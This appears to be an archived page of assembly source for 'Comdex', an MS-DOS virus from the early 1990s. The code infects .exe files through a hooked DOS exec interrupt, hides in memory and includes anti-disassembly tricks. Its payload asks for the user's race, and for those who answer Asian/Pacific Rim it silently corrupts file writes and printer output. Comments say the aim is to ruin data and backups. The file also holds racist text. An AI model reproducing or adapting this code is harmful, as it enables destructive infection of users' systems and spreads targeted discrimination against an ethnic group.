MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.comdex7.asm

805 lines
23 KiB
NASM
Raw Normal View History

2021-01-12 23:34:47 +00:00
; The Comdex exibit guide program
; For the Fall 1991 Comdex Las Vegas Convention
;
;
; A short description of the program:
;
; It only affects .exe files.
; Comdex attaches itself to the end of the programs it affects.
;
; When an affected file is run, Comdex copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash. If this happens, the user obviously
; deserved it.
;
; Comdex will hook int 21h and when function 4b (exec) is called
; it sometimes will affect the program being run. It will check every
; program that is run for affection, and if it is not already
; affected, it will be.
;
; Comdex will, after 1 hr, one of 16 chance, ask your race or
; nationality prior to executing a file. Af you answer that you
; are asian/pacific rim, one of 256 file writes will have the
; length adjusted downward or the record size reduced, depending
; upon the specific dos call made.
;
;
; Comdex will remove the read-only attribute before trying to
; affect programs.
;
; Affected files can be easily recognized, since they always end in
; "COMD"
;
; To check for system affection, a byte at 0:33c is used - if it
; contains a 069h, Comdex is installed in memory.
;
;
comsiz equ 128 ;in paragraphs
code segment para public 'code'
assume cs:code,ds:nothing,ss:nothing,es:nothing
;
; Comdex is basically divided in the following parts.
;
; 1. the main program - run when an affected program is run.
; it will check if the system is already affected, and if not
; it will install Comdex.
;
; 2. the new int 17 handler. adjusts two ascii output chars.
;
; 3. the new int 14 handler.
;
; 4. the new int 8 handler.
;
; 5. the new int 9 handler.
;
; 6. the new int 21 handler. it will look for exec calls, and
; affect the program being run.
;
;
; this is a fake mcb (memory control block)
; ms-dos inspects the chain of mcbs whenever a memory block allocation,
; modification, or release function is requested, or when a program
; is execed or terminated...
;
db 'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0
; ^___ # of paragraphs of the controlled mem blk
Comdex proc far
;
; Comdex starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
labl: sub sp,4
push bp
mov bp,sp
push ax
;following line nuked for ease of test
; nop ;added so that scan84 doesn't id as [ice-3]
mov ax,es
;
; put the the original cs on the stack. the add ax,data instruction
; is modified by Comdex when it affects other programs.
;
db 05h ;this is an add ax,10h
org_cs dw 0010h
mov [bp+4],ax
;
; put the the original ip on the stack. this mov [bp+2],data instruction
; is modified by Comdex when it affects other programs.
;
db 0c7h,46h,02h
org_ip dw 0000h
;
; save all registers that are modified.
;
push es
push ds
push bx
push cx
push si
push di
;
; check if already installed. quit if so.
;
mov ax,0
mov es,ax ;zero es
cmp es:[33ch],byte ptr 069h
;&&
; jne l1
;
; restore all registers and return to the original program.
;
exit: pop di
pop si
pop cx
pop bx
pop ds
pop es
pop ax
pop bp
retf
;
; Comdex tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; it looks rather weird, but it seems to work.
;
l1: mov ah,52h
call int21 ;undefined dos call!!?
mov ax,es:[bx-2]
nop
mov es,ax
add ax,es:[0003]
inc ax
inc ax
mov cs:[0001],ax
;
; next, Comdex modifies the memory block of the affected program.
; it is made smaller, and no longer the last block.
;
mov bx,ds
dec bx
nop
mov ds,bx
mov al,'M'
mov ds:[0000],al
mov ax,ds:[0003]
sub ax,comsiz
mov ds:[0003],ax
add bx,ax
inc bx
;
; then Comdex moves itself to the new block.
;
mov es,bx
xor si,si
xor di,di
push cs
pop ds
mov cx,652h ;the length of this program -
;be *sure* to update this!!
;in fact, make it symbolic!!
cld
rep movsb
;
; Comdex then transfers control to the new copy of itself.
;
push es
nop
mov ax,offset l3
push ax
retf
db 3dh ;confuse disassemblers
;
; zero some variables
;
l3: mov byte ptr cs:[min60],0
mov byte ptr cs:[min50],0
mov word ptr cs:[timer],0
mov byte ptr cs:[input_char],0
;
; set flag to confirm installation
;
xor ax,ax
mov es,ax
inc ax ;dummy operation to confuse function
mov byte ptr es:[33ch],069h
;
; hook interrupt 21:
; (the primary dos function interrupt)
;
mov ax,es:[0084h]
mov cs:[old21],ax
mov ax,es:[0086h]
nop
mov cs:[old21+2],ax
mov ax,cs
mov es:[0086h],ax
mov ax,offset new21
mov es:[0084h],ax
;
; hook interrupt 17:
; (bios lpt services)
;
mov ax,es:[005ch]
mov cs:[old17],ax
nop
mov ax,es:[005eh]
mov cs:[old17+2],ax
inc ax ;dummy op
mov ax,cs
mov es:[005eh],ax
mov ax,offset new17
mov es:[005ch],ax
;
; hook interrupt 14:
; (bios serial port services)
;
; mov ax,es:[0050h]
; mov cs:[old17],ax
; mov ax,es:[0052h]
; mov cs:[old14+2],ax
; mov ax,cs
; mov es:[0052h],ax
; mov ax,offset new14
; mov es:[0050h],ax
;
;
;
cmp word ptr cs:[noinf],5
jg hook8
jmp exit
;
; hook interrupt 9
; (bios keyboard interrupt)
;
;hook9: mov ax,es:[0024h]
; mov cs:[old9],ax
; mov ax,es:[0026h]
; mov cs:[old9+2],ax
; mov ax,cs
; mov es:[0026h],ax
; mov ax,offset new9
; mov es:[0024h],ax
;
; hook interrupt 8
; (timer ticks)
;
db 3dh,0cch,03h,3dh,3dh ;confuse dissassemblers
hook8: mov ax,es:[0020h]
mov cs:[old8],ax
mov ax,es:[0022h]
mov cs:[old8+2],ax
mov ax,cs
nop
mov es:[0022h],ax
mov ax,offset new8
mov es:[0020h],ax
jmp exit
;the int 21 calls go through this routine to confuse the issue:
int21: push ax
mov ax,0ffh
mov word ptr cs:[internal],ax ;set internal int 21 flag
mov al,20h
inc al ;put 21 in al
mov byte ptr cs:[int21b],al ;self modifying code!
pop ax
db 0cdh ;int opcode
int21b: db 0cch ;overwritten to int 21h
push ax
mov ax,00
mov word ptr cs:[internal],ax ;clear internal int 21 flag
mov ax,0cch
mov byte ptr cs:[int21b],al ;nuke it back to int 0cch
pop ax
retn
db "Welcome to Comdex "
db "From the Interface Group, Inc. "
db "300 First Avenue "
db "Needham, MA 02194 "
db "(617)449-6600 "
db "For data recovery ask for "
db "Peter J. Bowes, unless you are "
db "Oriental, in which case, we will "
db "not help you. "
quest db 0dh,0ah,"Software Piracy Prevention Center",0dh,0ah
db "requests your cooperation:",0dh,0ah,0dh,0ah
db "Please enter your race or nationality:",0dh,0ah
db "a. White e. Eastern European",0dh,0ah
db "b. Black f. Soviet",0dh,0ah
db "c. Hispanic g. Western European",0dh,0ah
db "d. Asian/Pacific Rim h. Other",0dh,0ah,0dh,0ah
db " Please enter your response: ","$"
input_char: db 0
db 3dh ;confuse disassemblers
askit: push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp byte ptr cs:[min60],1 ;resident 1 hr yet?
jnz noask
cmp byte ptr cs:[input_char],0
jnz noask ;don't ask twice
mov ax,word ptr cs:[timer]
and ax,000fh ;look at ls free running clock
cmp ax,000ch ;does it happen to be 00ch? (1 of 16)
jnz noask ;if not, don't ask the guy!
mov dx,offset quest ;ask the guy about race
mov ah,09h ;dos string print
push cs
pop ds
call int21 ;print question on crt
mov ax,0c01h ;dos flush input and get char
call int21 ;get char
and al,0dfh ;force upper case
mov byte ptr cs:[input_char],al ;save away response
noask: pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retn
;********************************************************************
;
; int 9 (keyboard) replacement:
; this routine does not become active until 50 minutes after
; the execution of an affected program.
;
;new9: push ax
; push es
; cmp byte ptr cs:[min50],1
; jnz retx1
;insert any code here that activates 50 min after launch for int 9...
;retx1: pop es ;prepare to go to old int 9 code:
; pop ax
; db 0eah ;jmp 0000:0000 nmemonic
;old9 dw 0,0 ;storage for old addr
;********************************************************************
;
; new int 14 (serial port) routine -
;
;new14: cmp ah,1 ;is it an output request?
; jz s1 ;yup. don't return just yet.
;do14: db 0eah ;jmp 0000:0000 nmemonic
;old14 dw 0,0
;s1:
;insert any code here for output to serial port...
; jmp do14
;********************************************************************
;
; new int 8 routine (bios timer ticks)
;
db 3dh ;piss off disassemblers
new8: push dx
push cx
push bx
push ax
jmp txex ;&&
inc word ptr cs:[timer] ; increment timer
cmp byte ptr cs:[min60],01 ; if counter >= 60 min.
jz tt0 ; no need to check any more
cmp word ptr cs:[timer],-11 ; 60 minutes ?
jz tt1
cmp word ptr cs:[timer],54601 ; 50 minutes ?
jz tt2
jmp txex
;
; 50 minutes after an affected program is run the flag is set.
;
tt2: mov byte ptr cs:[min50],1
jmp txex
;
; 60 minutes after an affected program is run this flag is set.
;
tt1: mov byte ptr cs:[min60],1
; exit interrupt routine:
jmp txex
;
; every time an int 8 occurs, after the 60 min. have passed, we
; end up here:
;
tt0:
;insert any fun timer oriented code here
;
; restore registers and quit
;
txex: pop ax
pop bx
pop cx
pop dx
db 0eah
old8 dw 0,0
;********************************************************************
;
; new int 17 routine. lpt out stuff.
;
new17: jmp do17 ;&&
cmp ah,0
jz p0
do17: db 0eah
old17 dw 0,0
db 2eh ;confuse disassemblers
p0: cmp byte ptr cs:[input_char],44h ;d. asian/pacific rim?
jne not_asian
push ax
mov ax,word ptr cs:[timer]
and ax,00ffh
cmp ax,0032h ; one of 256 odds
pop ax ; restore ax, doesn't change flags
jne do17 ; don't twiddle lpt 255/256 odds
cmp al,55h ; printing a "U"?
jne notu
mov al,0efh ; make it upside-down!
jmp do17 ; and continue.
notu: cmp al,06fh ; lower case "o"?
jne do17 ; no? then exit.
mov al,093h ; make it an "o" with a ^ over it!
jmp do17 ; and exit.
not_asian:
jmp do17
;Int 21 file adjustment routines - the following routines corrupt a small
;percentage of the file writes that Asians do in their use of the pc. For
;example, when one updates a spreadsheet or exits a word processor, the
;application software will re-write the file out to disk. What we do here
;is reduce the amount of the data that is written to the file. The hope
;is that the problem will be hidden for a significant period of time, since
;it happens only infrequently, and since it typically will happen upon exit
;of the application package. If the reduction of the write causes a serious
;problem (we hope it will) it won't usually be noticed until that file is
;loaded again. The other hope is that if the user does backup his data from
;time to time, this corrupted data will end up on the backup as well before
;the problem is noticed. With luck, maybe the user will assume that the
;hardware is intermittent, and backup the system over the top of his only
;existing backup set, then purchase replacement hardware.
fuck_size_f: ;if asian, reduce file rec size by 1 on fcb ops
push ax
push di
push dx ;setup di for indexed operations
pop di
cmp byte ptr cs:[input_char],044h ;asian?
jne exit_fuck_f ;no, then do nothing
mov ax,word ptr cs:[timer]
and ax,00ffh ;mask off ls 8 bits of free run timer
cmp ax,0069h ;does it happen to be 69h? (1 of 256)
jne exit_fuck_f ;nope, so do nothing
mov al,[ds:di+0] ;get first byte of user's fcb
cmp al,0ffh ;extended fcb?
jne norm_fcb ;nope, so handle as normal fcb
mov ax,[ds:di+15h] ;get record size, 16 bits on extd fcb.
dec ax ;adjust it a bit, since the user really doesn't
;need to write so much data.
mov [ds:di+15h],ax
jmp exit_fuck_f ;subsequent r/w ops should fail to get the
;right data until this file is closed or
;until system crashes.
norm_fcb:
mov al,[ds:di+0eh] ;get record size, only 8 bits on norm fcb.
dec al ;reduce by 1
mov [ds:di+0eh],al ;store it back
exit_fuck_f:
pop di
pop ax
jmp do21
fuck_size_h: ;reduce length of handle file writes
push ax
push di
push dx
pop di
cmp byte ptr cs:[input_char],044h ;asian?
jne exit_fuck_h ;no, so don't damage anything.
mov ax,word ptr cs:[timer]
and ax,00ffh
cmp ax,0066h ;one out of 256 odds
jne try_again ;no? well give it another chance.
and cx,0fff5h ;reduce write length in bytes by a flakey amt
dec cx ;ranging from 1 to 11 bytes.
exit_fuck_h:
pop ax
jmp do21
try_again:
cmp ax,0077h ;one of 256 odds?
jne exit_fuck_h ;exit if not lucky.
mov ax,[ds:di+30h] ;get a user data byte from his buffer
xor ax,0004h ;toggle bit 2 of byte 30h
mov [ds:di+30h],ax ;and put it back
jmp exit_fuck_h
;********************************************************************
;
; this is the int 21 replacement. it only does something in
; the case of an execute program dos call.
;
;be careful here not to trap int codes that we use internally!
new21: jmp do21 ;&&
push ax
cmp word ptr cs:[internal],0ffh ;is it an internal int 21?
je do21 ;yup, so no tweaking allowed
pop ax
cmp ah,015h ;is it a fcb file write?
je fuck_size_f ;if asian, reduce record size by 1
cmp ah,040h ;is it a handle file write?
je fuck_size_h ;if asian, adjust write length down.
cmp ah,4bh ;is it an int 21 code 4b?
je l5 ;yup. go affect stuff
do21: db 0eah ;nope. let dos handle it
old21 dw 0,0
;
; the code to only affect every tenth program has been removed
; for now. restore this code later.
;
db 3dh ;confuse disassemblers
l5: call askit ;ask race if appropriate
push ax
push bx
push cx
push dx
push si
push ds
;
; search for the file name extension ...
;
mov bx,dx
l6: inc bx
cmp byte ptr [bx],'.'
je l8
cmp byte ptr [bx],0
jne l6
;
; ... and quit unless it starts with "ex".
;
l7: pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp do21
l8: inc bx
cmp word ptr [bx],5845h ;"EX"
jne l7
;
; when an .exe file is found, Comdex starts by turning off
; the read-only attribute. the read-only attribute is not restored
; when the file has been affected.
;
mov ax,4300h ; get attribute
call int21
jc l7
mov ax,4301h ; set attribute
and cx,0feh
call int21
jc l7
;
; next, the file is examined to see if it is already affected.
; the signature (4418 5f19) is stored in the last two words.
;
mov ax,3d02h ; open / write access
call int21
jc l7
mov bx,ax ; file handle in bx
;
; this part of the code is new: get date of file.
;
mov ax,5700h
call int21
jc l9
mov cs:[date1],dx
mov cs:[date2],cx
;
push cs ; now ds is no longer needed
pop ds
;
; the header of the file is read in at [id+8]. Comdex then
; modifies itself, according to the information stored in the
; header. (the original cs and ip addressed are stored).
;
mov dx,offset id+8
mov cx,1ch
mov ah,3fh
call int21
jc l9
mov ax,ds:id[1ch]
mov ds:[org_ip],ax
inc ax ;confuse reader a little
mov ax,ds:id[1eh]
add ax,10h
mov ds:[org_cs],ax
;
; next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. they are compared to the signature,
; and if equal nothing happens.
;
mov ax,4202h
mov cx,-1
mov dx,-4
call int21
jc l9
add ax,4
mov ds:[len_lo],ax
jnc l8a
inc dx
l8a: mov ds:[len_hi],dx
;
; this part of Comdex is new - check if it is below minimum length
;
cmp dx,0
jne l8b
mov cl,13
shr ax,cl
cmp ax,0
jg l8b
nop
jmp short l9
l8b: mov ah,3fh
mov cx,4
mov dx,offset id+4
call int21
jnc l11
l9: mov ah,3eh
call int21
l10: jmp l7
db 3eh ;confuse disassemblers
;
; compare to 4f43,444d which is first 4 letters of Comdex
;
l11: mov si,offset id+4
mov ax,[si]
cmp ax,4f43h ;ascii "OC"
jne l12
mov ax,[si+2]
cmp ax,444dh ;ascii "DM"
je l9
;
; the file is not affected, so the next thing Comdex does is
; affect it. first it is padded so the length becomes a multiple
; of 16 bytes. this is done so Comdex code can start at a
; paragraph boundary.
;
l12: mov ax,ds:[len_lo]
and ax,0fh
jz l13
mov cx,16
sub cx,ax
nop
add ds:[len_lo],cx
jnc l12a
inc ds:[len_hi]
l12a: mov ah,40h
call int21 ;dos write to file
jc l9
;
; next the main body of Comdex is written to the end.
;
l13: xor dx,dx
mov cx,offset id + 4
mov ah,40h ;dos write to file
call int21
jc l9
;
; next the .exe file header is modified:
;
; first modify initial ip
;
f0: mov ax,offset labl
mov ds:id[1ch],ax
;
; modify starting cs = Comdex cs. it is computed as:
;
; (original length of file+padding)/16 - start of load module
;
mov dx,ds:[len_hi]
mov ax,ds:[len_lo]
mov cl,cs:[const1] ; modified a bit
shr dx,cl
rcr ax,cl
nop
shr dx,cl
rcr ax,cl
shr dx,cl
rcr ax,cl
nop
shr dx,cl
rcr ax,cl
sub ax,ds:id[10h]
mov ds:id[1eh],ax
;
; modify length mod 512
;
add ds:[len_lo],offset id+4
jnc l14
inc ds:[len_hi]
l14: mov ax,ds:[len_lo]
and ax,511
nop
mov ds:id[0ah],ax
;
; modify number of blocks used
;
mov dx,ds:[len_hi]
mov ax,ds:[len_lo]
add ax,511
jnc l14a
inc dx
l14a: mov al,ah
mov ah,dl
shr ax,1
mov ds:id[0ch],ax
;
; finally the modified header is written back to the start of the
; file.
;
wrtback:mov ax,4200h
xor cx,cx
xor dx,dx
call int21 ;dos move file pointer
jc endit
mov ah,40h
mov dx,offset id+8
mov cx,1ch
call int21 ;dos write to file
;
; this part is new: restore old date.
;
mov dx,cs:[date1]
mov cx,cs:[date2]
mov ax,5701h
call int21 ;dos set file date and time
jc endit
inc word ptr cs:[noinf]
;
; affection is finished - close the file and execute it
;
endit: jmp l9
;
;
timer dw 0 ; number of timer (int 8) ticks
const1 db 1 ; the constant 1
const0 dw 0 ; the constant 0
internal dw 0 ; internal int 21 in effect.
min50 db 0 ; flag, set to 1 50 minutes after execution
min60 db 0 ; flag, set to 1 60 minutes after execution
vmode db 0 ; video mode
date1 dw ? ; date of file
date2 dw ? ; ditto.
len_lo dw ?
len_hi dw ?
noinf dw 0 ; number of affections
id label word
db "COMD" ; the signature of Comdex.
;
; a buffer, used for data from the file.
;
Comdex endp
code ends
end labl